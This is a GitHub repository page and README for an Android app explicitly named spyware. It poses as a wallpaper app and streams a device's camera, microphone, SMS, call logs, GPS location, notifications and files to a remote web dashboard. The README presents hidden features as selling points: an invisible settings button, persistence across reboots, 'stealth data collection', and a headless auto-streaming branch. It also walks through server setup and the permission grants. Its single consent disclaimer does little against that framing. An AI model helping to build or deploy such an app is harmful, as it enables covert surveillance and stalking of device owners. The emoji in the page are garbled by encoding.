https://github.com/dhruvathaide/android_webrtc_spyware
Real-time Android app for streaming camera, microphone, live notifications, call logs, sms messages and gps location to a web browser using WebRTC and Socket.IO signaling. Displays streams in separate video elements with robust track handling.
https://github.com/dhruvathaide/android_webrtc_spyware
android-application android-spyware audio-streaming camera-streaming screen-sharing spyware
Last synced: about 2 months ago
JSON representation
Real-time Android app for streaming camera, microphone, live notifications, call logs, sms messages and gps location to a web browser using WebRTC and Socket.IO signaling. Displays streams in separate video elements with robust track handling.
- Host: GitHub
- URL: https://github.com/dhruvathaide/android_webrtc_spyware
- Owner: DhruvAthaide
- License: mit
- Created: 2025-06-22T18:14:32.000Z (12 months ago)
- Default Branch: main
- Last Pushed: 2026-01-25T12:02:15.000Z (5 months ago)
- Last Synced: 2026-01-26T02:32:09.110Z (5 months ago)
- Topics: android-application, android-spyware, audio-streaming, camera-streaming, screen-sharing, spyware
- Language: Java
- Homepage:
- Size: 194 MB
- Stars: 24
- Watchers: 0
- Forks: 9
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# ๐ฑ Android Wallpaper & WebRTC Streaming App
๐จ Wallpaper Customization + ๐ก Real-time Device Monitoring
A powerful dual-purpose Android application combining aesthetic customization with comprehensive device streaming capabilities
---
## ๐ Overview
This innovative Android application serves a **dual purpose**: it allows users to select and set stunning wallpapers on their device while simultaneously enabling **real-time streaming** of multiple device features to a web browser using **WebRTC technology**.
The app leverages **Socket.IO** for signaling to establish secure peer-to-peer connections, making it perfect for:
- ๐ **Remote monitoring Spyware** and device management
- ๐ฑ **Live demonstrations** and presentations
- ๐ **Real-time data streaming** (SMS, calls, location, notifications)
- ๐จ **Device personalization** with wallpapers
> **Key Technology**: WebRTC ensures low-latency, high-quality streaming directly between your Android device and web browser without intermediate servers processing your data.
> โ๏ธ **Use responsibly**: Streaming camera, audio, SMS, call logs, notifications, and location data may be restricted by law. **Obtain informed consent** from the device owner and comply with all applicable regulations and platform policies.
## ๐ Branch Variants
This repository has two maintained variants:
- **main** (youโre here): standard app with a **manual Streaming toggle** in *Streaming Settings*. Includes the **Node.js signaling server** in `Android-WebRTC-Spyware-Server/`.
- **autostream**: headless variant that **starts streaming automatically** after install and permission grant โ **no manual toggle/UI step**. Ideal for kiosk/demo setups where you want hands-free bring-up.
โก๏ธ Looking for auto-start behavior? Use the **autostream** branch:
https://github.com/DhruvAthaide/Android_WebRTC_Spyware/tree/autostream
## โจ Features
### ๐ท **Advanced Camera Streaming**
- ๐น **High-Quality Video**: Streams camera feed at 640x480 resolution
- ๐ **Dual Camera Support**:
- Front and back cameras displayed **simultaneously** on web dashboard
- **Requirements**: Modern Android device + Android 9+ (API 28+)
- **Auto-fallback**: Seamlessly switches to single camera on older devices
- โก **Low Latency**: Real-time streaming with minimal delay
### ๐ค **Premium Audio Streaming**
- ๐ง **Real-time Transmission**: Live audio feed to web browser
### ๐ **Remote File Explorer**
- ๐ **Full File System Access**: Browse device storage remotely
- โฌ๏ธ **Download**: Transfer files from device to PC
- โก **Chunked Transfer**: Optimized 64KB chunking for stable large file downloads
- ๐๏ธ **Delete**: Remove files remotely
- ๐ก๏ธ **Recovery**: Auto-reconnects file system link if connection drops
### ๐ฑ **Comprehensive Device Monitoring**
- ๐ฌ **Live SMS Streaming**: Real-time message monitoring and display
- ๐ **Call Log Tracking**: Complete call history with timestamps
- ๐บ๏ธ **GPS Location Streaming**: Live location tracking with interactive map display
- ๐ **Notification Monitoring**: Real-time notification feed from all apps
- ๐ **Auto-Persistence**: Service auto-restarts on boot and app swipe-away
### ๐ **Advanced WebRTC Technology**
- ๐ **Peer-to-Peer Streaming**: Direct device-to-browser connection
- ๐ก๏ธ **STUN/TURN Support**: Reliable connection through NAT/firewall traversal
- โก **Ultra-Low Latency**: Optimized for real-time performance
- ๐ **Auto-Reconnection**: Intelligent connection recovery
### โ๏ธ **Dynamic Signaling Server (IP/Port) Configuration**
- โ๏ธ **hange IP/Port at runtime** from the appโs Streaming Settings page. The current server URL is stored in SharedPreferences.
- ๐งญ **Invisible Settings Button**: The settings button in the top-right corner is intentionally invisible but clickable. Tap the top-right area to open Streaming Settings.
- ๐ **No ```network_security_config.xml``` required**: The app allows cleartext globally (debug/dev friendly). You do not need to list every IP or edit an XML.
### ๐ป **Interactive Web Dashboard**
- ๐ **Real-time Status Updates**: Live connection and streaming status
- ๐ฎ **Responsive Interface**: Works seamlessly across all modern browsers
- ๐ฏ **Centralized Control**: All device streams in one comprehensive dashboard
## ๐๏ธ Project Architecture
```
๐ฆ Android_WebRTC_Spyware/
โโโ ๐ฑ app/
โ โโโ ๐ src/main/java/com/example/wallpaperapplication/
โ โ โโโ ๐ BootReceiver.java # Auto-start functionality
โ โ โโโ โ
ConsentActivity.java # Permission management
โ โ โโโ โ๏ธ Constants.java # App configuration
โ โ โโโ ๐ MainActivity.java # Main wallpaper interface
โ โ โโโ ๐ SdpObserverAdapter.java # WebRTC SDP handling
โ โ โโโ ๐ก StreamingService.java # Core streaming service
โ โ โโโ โ๏ธ StreamingSettingsActivity.java # Streaming controls
โ โ โโโ ๐จ WallpaperAdapter.java # Wallpaper grid manager
โ โโโ ๐ src/main/AndroidManifest.xml # App permissions & config
โ โโโ ๐ง build.gradle.kts # Build configuration
โโโ ๐ฅ๏ธ Android-WebRTC-Spyware-Server/
โ โโโ โก server.js # Node.js signaling server
โ โโโ ๐ฆ package.json # Server dependencies
โ โโโ ๐ public/
โ โโโ ๐จ index.html # Web dashboard UI
โ โโโ ๐ง client.js # Browser WebRTC client
โโโ ๐ README.md # This documentation
```
### ๐ง **Core Components Explained**
| Component | Purpose | Key Features |
|-----------|---------|--------------|
| **๐ MainActivity.java** | Wallpaper interface entry point | Grid view, wallpaper preview, system integration |
| **๐จ WallpaperAdapter.java** | Wallpaper gallery management | RecyclerView optimization, image loading, selection handling |
| **๐ก StreamingService.java** | Heart of streaming functionality | WebRTC initialization, multi-stream capture, signaling |
| **โ๏ธ StreamingSettingsActivity.java** | User control interface | Permission requests, stream toggles, settings management |
| **๐ BootReceiver.java** | Auto-start Logic | Restarts service on device boot |
| **๐ DataSyncWorker.java** | Background Sync | Periodic stealth data collection using WorkManager |
| **๐ AndroidManifest.xml** | Security & permissions | Camera, microphone, location, SMS permissions |
| **โก server.js** | WebRTC signaling hub | Socket.IO management, peer connection facilitation |
| **๐จ index.html & ๐ง client.js** | Web dashboard | Stream display, real-time updates, user interface |
## ๐ Prerequisites
### ๐ฑ **Android Development**
- ๐ป **Android Studio**: Latest version recommended (Arctic Fox+)
- ๐ ๏ธ **Android SDK**:
- **Minimum**: API 21+ (Android 5.0)
- **Recommended**: API 28+ (Android 9.0) for dual camera support
- ๐ฑ **Test Device**: Physical device or emulator with camera and microphone
- ๐ **Dual Camera Requirements**:
- Modern Android device with concurrent camera access support
- Android 9+ (API level 28+)
- Multiple camera sensors capable of simultaneous streaming
### ๐ฅ๏ธ **Server Environment**
- ๐ข **Node.js**: Version 16.x or higher
- ๐ฆ **npm**: Version 8.x or higher
- ๐พ **Storage**: Minimal requirements (< 100MB)
### ๐ **Browser Compatibility**
- โ
**Chrome**: Version 80+ (Recommended)
- โ
**Firefox**: Version 75+
- โ
**Safari**: Version 13+
- โ
**Edge**: Version 80+
- ๐ฑ **Mobile browsers**: Full WebRTC support required
### ๐ **TURN Server Access**
- ๐ **Credentials**: Valid numb.viagenie.ca account (or alternative TURN provider)
- ๐ **Local Network**: Devices on same network for optimal performance
- ๐ **Remote Access**: TURN server required for cross-network connections
### ๐ง **Network Configuration**
- ๐ก **Default Server IP**: Configure the Server IP Address by following the steps given below
- ๐ **Port**: 3000 (configurable)
- ๐ก๏ธ **Firewall**: Ensure ports are accessible between devices
- โก **Bandwidth**: Minimum 2 Mbps for smooth streaming
## ๐ Quick Setup Guide
> Prefer auto-start streaming with no UI toggle? Switch to the **autostream** branch.
### 1๏ธโฃ **Clone & Initialize**
```bash
# Clone the repository
git clone https://github.com/DhruvAthaide/Android_WebRTC_Spyware.git
cd Android_WebRTC_Spyware
# Verify project structure
ls -la
```
### 2๏ธโฃ **Configure Android Application**
#### ๐ฑ **Open in Android Studio**
1. Launch Android Studio
2. Open the `Android_WebRTC_Spyware` project
3. Wait for Gradle sync to complete
#### ๐ง **Update Dependencies**
Verify `app/build.gradle.kts` contains all required dependencies for WebRTC and UI components.
#### ๐ **Configure TURN Server Credentials**
In `StreamingService.java`, replace placeholders with your actual credentials (Optional):
```java
ice.add(PeerConnection.IceServer.builder("turn:numb.viagenie.ca")
.setUsername("your-actual-username") // ๐ Replace with real username
.setPassword("your-actual-password") // ๐ Replace with real password
.createIceServer());
```
#### ๐ **Update Server Configuration**
**In `StreamingService.java`**:
```java
private static final String SIGNALING_URL = "http://YOUR_SERVER_IP:3000"; // ๐ง Update IP
```
#### โ
**Verify Permissions**
Ensure `AndroidManifest.xml` includes all necessary permissions for streaming and wallpaper functionality.
---
### 3๏ธโฃ **Setup Signaling Server**
#### ๐ **Navigate to Server Directory**
```bash
cd Android-WebRTC-Spyware-Server
```
#### ๐ฆ **Install Dependencies**
```bash
npm install express socket.io@4.7.5
```
#### ๐ **Configure Client-Side TURN**
In `public/client.js`, update TURN server credentials (Optional):
```javascript
const config = {
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' },
{
urls: 'turn:numb.viagenie.ca',
username: 'your-actual-username', // ๐ Replace with real username
credential: 'your-actual-password' // ๐ Replace with real password
}
]
};
```
#### ๐ **Update Socket.IO URL**
```javascript
const socket = io('http://YOUR_SERVER_IP:3000'); // ๐ง Update IP
```
---
### 4๏ธโฃ **Launch the Server**
```bash
# Start the signaling server
node server.js
# Expected output:
# โ
Server running at http://localhost:3000 or http://:3000
# ๐ Socket.IO initialized and ready
```
---
### 5๏ธโฃ **Build & Deploy Android App**
#### ๐จ **Build Process**
1. In Android Studio: **Build โ Make Project**
2. Resolve any dependency issues
3. Ensure all configurations are properly set
#### ๐ฑ **Installation & Usage**
1. **Deploy**: Run app on Android device or emulator (API 21+)
2. **Wallpaper Mode**:
- Browse wallpaper gallery on main screen
- Tap wallpaper to preview
- Apply to home/lock screen
3. **Streaming Mode**:
- Navigate to streaming settings
- Toggle streaming **ON**
- Grant all requested permissions:
- ๐ท Camera access
- ๐ค Microphone access
- ๐ Location access
- ๐ฌ SMS access
- ๐ Phone access
- ๐ Notification access
- ๐พ **Manage External Storage** (Android 11+ for File Explorer)
---
### 6๏ธโฃ **Access Web Dashboard**
```bash
# Open in browser:
http://YOUR_SERVER_IP:3000
# Expected features:
# ๐น Live camera stream(s)
# ๐ค Real-time audio
# ๐ฌ SMS messages
# ๐ Call logs
# ๐ GPS location with map
# ๐ Live notifications
# ๐ Connection status indicators
```
> ๐ก **Pro Tip**: Keep the Android app in the foreground initially to ensure all streams initialize properly. Once connected, you can minimize the app.
## ๐ง Debugging & Troubleshooting
### ๐ฑ **Android Debugging**
#### **Logcat Monitoring**
```bash
# Monitor streaming service logs
adb logcat | grep StreamingService
# Monitor all app logs
adb logcat | grep WallpaperApplication
# WebRTC specific logs
adb logcat | grep WebRTC
```
**๐ Key Log Indicators:**
- โ
`StreamingService initialized successfully`
- โ
`WebRTC PeerConnection established`
- โ `Camera permission denied`
- โ `TURN server authentication failed`
#### **Common Android Issues & Solutions**
| Issue | Symptoms | Solution |
|-------|----------|----------|
| **๐ท Camera not streaming** | Black screen in web dashboard | Check camera permissions, restart app |
| **๐ค No audio** | Silent stream | Verify microphone permissions, check device audio |
| **๐ Permission errors** | App crashes or features disabled | Grant all permissions in Android settings |
| **๐ Connection failed** | "Offline" status in dashboard | Verify server IP, check network connectivity |
---
### ๐ฅ๏ธ **Server Debugging**
#### **Enhanced Logging**
```bash
# Run server with detailed logs
DEBUG=socket.io* node server.js
# Log to file for analysis
node server.js > server.log 2>&1
# Monitor real-time connections
tail -f server.log | grep "Client connected"
```
**๐ Server Health Indicators:**
- โ
`Server running at http://localhost:3000`
- โ
`Socket.IO listening for connections`
- โ
`Client connected: [socket-id]`
- โ `Port 3000 already in use`
- โ `Failed to bind to address`
---
### ๐ **Browser Debugging**
#### **Developer Console**
1. Open browser DevTools (F12)
2. Navigate to **Console** tab
3. Look for WebRTC connection logs
**๐ Browser Console Indicators:**
- โ
`WebRTC connection established`
- โ
`Receiving video stream`
- โ
`Socket.IO connected to server`
- โ `Failed to establish peer connection`
- โ `ICE connection failed`
#### **Network Analysis**
1. **DevTools โ Network tab**
2. **Filter**: WebSocket connections
3. **Monitor**: Socket.IO signaling messages
---
### ๐จ **Advanced Troubleshooting**
#### **Port & Network Issues**
```bash
# Check if port 3000 is available
netstat -tuln | grep 3000
# Test server connectivity
curl http://YOUR_SERVER_IP:3000
# Kill processes using port 3000
lsof -ti:3000 | xargs kill -9
```
#### **WebRTC Connection Analysis**
```javascript
// Add to browser console for detailed WebRTC stats
pc.getStats().then(stats => {
stats.forEach(report => {
if (report.type === 'candidate-pair' && report.state === 'succeeded') {
console.log('โ
ICE Connection Success:', report);
}
});
});
```
#### **TURN Server Verification**
```bash
# Test TURN server connectivity
nslookup numb.viagenie.ca
# Alternative TURN servers for testing:
# stun:stun.l.google.com:19302
# stun:stun1.l.google.com:19302
```
## ๐ท Camera Support Details
### ๐ฑ **Single Camera Mode (Default)**
- โ
**Compatibility**: Works on all supported Android devices (API 21+)
- ๐ **Functionality**: Streams either front or back camera based on user selection
- โก **Performance**: Optimized for older devices with limited hardware capabilities
- ๐ **Battery Efficient**: Lower power consumption for extended streaming sessions
### ๐น **Dual Camera Mode (Advanced)**
#### **๐ป System Requirements**
- ๐ง **Hardware**: Modern Android device with concurrent camera access support
- ๐ฑ **OS Version**: Android 9+ (API level 28+)
- ๐ท **Camera Hardware**: Multiple sensors capable of simultaneous streaming
- ๐ง **Processor**: Sufficient CPU/GPU power for dual stream encoding
#### **โจ Features & Benefits**
- ๐ฅ **Simultaneous Streaming**: Both front and back cameras active at once
- ๐ **Dashboard Display**: Dual camera feeds shown side-by-side in web interface
- ๐ **Smart Switching**: Automatic quality adjustment based on network conditions
- ๐ฑ **Picture-in-Picture**: Configurable layout options for dual stream display
#### **๐ Device Compatibility Check**
The app automatically detects dual camera support using:
```java
// Pseudo-code for dual camera detection
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P &&
cameraManager.getCameraIdList().length >= 2) {
// Enable dual camera mode
}
```
## โ ๏ธ Known Issues & Solutions
### ๐ง **Connection & Network Issues**
| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐ซ Connection Failures** | Dashboard shows "Offline" | TURN server/network issues | โ
Verify TURN credentials
โ
Check firewall settings
โ
Test on same network first |
| **๐ก Intermittent Disconnections** | Frequent reconnections | Unstable network/power saving | โ
Disable battery optimization
โ
Use 5GHz WiFi if available
โ
Check router QoS settings |
| **๐ Slow Streaming** | Laggy video/audio | Bandwidth limitations | โ
Reduce stream quality
โ
Close other network apps
โ
Use wired connection for server |
### ๐ฑ **Android-Specific Issues**
| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐ท Camera Black Screen** | Video shows black | Permission/hardware conflict | โ
Restart app completely
โ
Check camera permissions
โ
Close other camera apps |
| **๐ค Audio Not Streaming** | Silent dashboard | Microphone access denied | โ
Grant microphone permission
โ
Check system audio settings
โ
Test with headphones |
| **๐ Dual Camera Failure** | Only one camera works | Hardware/OS limitations | โ
Verify Android 9+
โ
Check device specifications
โ
Test single camera mode |
| **โก App Crashes** | Unexpected shutdowns | Memory/resource issues | โ
Restart device
โ
Clear app cache
โ
Update Android WebView |
### ๐ฅ๏ธ **Server & Browser Issues**
| Issue | Symptoms | Root Cause | Solution |
|-------|----------|------------|----------|
| **๐ฅ๏ธ Server Won't Start** | Port binding errors | Port already in use | โ
Kill processes on port 3000
โ
Use alternative port
โ
Check system firewall |
| **๐ Browser Compatibility** | Features not working | WebRTC support missing | โ
Use Chrome/Firefox latest
โ
Enable hardware acceleration
โ
Clear browser cache |
| **๐ Dashboard Not Loading** | Blank page/errors | JavaScript/network issues | โ
Check browser console
โ
Disable ad blockers
โ
Try incognito mode |
---
## ๐ License
```
MIT License
Copyright (c) 2026 Android WebRTC Streaming App
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```
---
## ๐ **Star this repository if you found it helpful!**
### ๐ค **Contributing**
I welcome any contributions! Please feel free to submit pull requests, report bugs, or suggest new features.
### ๐ **Support**
๐ **Bug Reports**: [GitHub Issues](https://github.com/DhruvAthaide/Android_WebRTC_Spyware/issues)
๐ฌ **Discussions**: [GitHub Discussions](https://github.com/DhruvAthaide/Android_WebRTC_Spyware/discussions)
---
*Built with โค๏ธ by Dhruv Athaideusing Kotlin, WebRTC, Android, and Node.js*